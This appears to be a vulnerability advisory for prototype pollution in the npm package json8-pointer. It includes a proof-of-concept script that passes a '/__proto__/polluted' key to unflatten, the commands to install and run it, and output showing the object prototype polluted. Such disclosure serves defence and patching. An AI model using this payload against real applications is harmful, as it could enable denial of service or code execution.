Description

json8-pointer is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

1. Create the following PoC file:

// poc.js
var json8Pointer = require("json8-pointer")
json8Pointer.unflatten({"": {},"/firstName": "John", "/__proto__/polluted": "Yes! Its Polluted"});
console.log({}.polluted); 

2. Execute the following commands in another terminal:

npm i json8-pointer # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Yes! Its Polluted